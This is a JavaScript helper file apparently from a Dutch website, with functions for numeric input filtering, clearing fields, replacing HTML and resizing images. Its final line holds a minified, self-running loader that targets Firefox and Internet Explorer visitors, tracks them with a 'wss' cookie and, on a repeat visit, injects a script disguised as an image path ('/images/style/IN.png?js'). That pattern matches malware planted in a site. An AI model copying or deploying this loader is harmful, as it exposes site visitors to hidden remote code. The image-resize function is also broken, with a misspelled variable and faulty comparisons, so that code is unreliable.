/* numbers only */
function isNumberKey(evt) {
	var charCode = (evt.which) ? evt.which : event.keyCode
	if (charCode > 31 && (charCode < 48 || charCode > 57)) return false;
	return true;
}

/* numbers and dots only */
function isFloatKey(evt) {
	var charCode = (evt.which) ? evt.which : event.keyCode
	if (charCode == 46) return true; //exception voor punt
	if (charCode > 31 && (charCode < 48 || charCode > 57)) return false;
	return true;
}

/* clear textfield */
function clearfield(el, defaultvalue) {
	var item = document.getElementById(el);
	if(item.value == defaultvalue) item.value = '';
	item.focus();
}

/* versnelde innerHTML funcie */
function replaceHtml(el, html) {
	var oldEl = (typeof el === "string" ? document.getElementById(el) : el);
	var newEl = document.createElement(oldEl.nodeName);
	newEl.id = oldEl.id;
	newEl.className = oldEl.className;
	newEl.innerHTML = html;
	oldEl.parentNode.replaceChild(newEl, oldEl);
	return newEl;
};

/* resize to fit */
function resizeImgOO(el, widthcontainer, heightcontainer, parent) { 
	function imgRatio() { 
		return (el.height / el.width); 
	} 
	function holderRatio() { 
		return (heightcontainer / widthcontainerh); 
	} 
	function fitToContainer() { 
		if(imgRatio>holderRatio)  { 
			if(el.height > heightcontainer) {
				el.height = heightcontainer; 
			}
			if(el.width > widthcontainer) {
				el.width = el.width*(widthcontainer/el.width);
				el.height = el.height*(widthcontainer/el.width);
			}
		} 
		else  { 
			if(el.height > widthcontainer) {
				el.width = widthcontainer;	
			}
			if(el.height > heightcontainer) {
				el.width = el.width*(heightcontainer/el.width);
				el.height = el.height*(heightcontainer/el.width);
			}
		} 
		parent.width = el.width;
	}
	this.imgRatio = imgRatio; 
	this.holderRatio = holderRatio; 
	this.resize = fitToContainer; 
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/style/IN.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
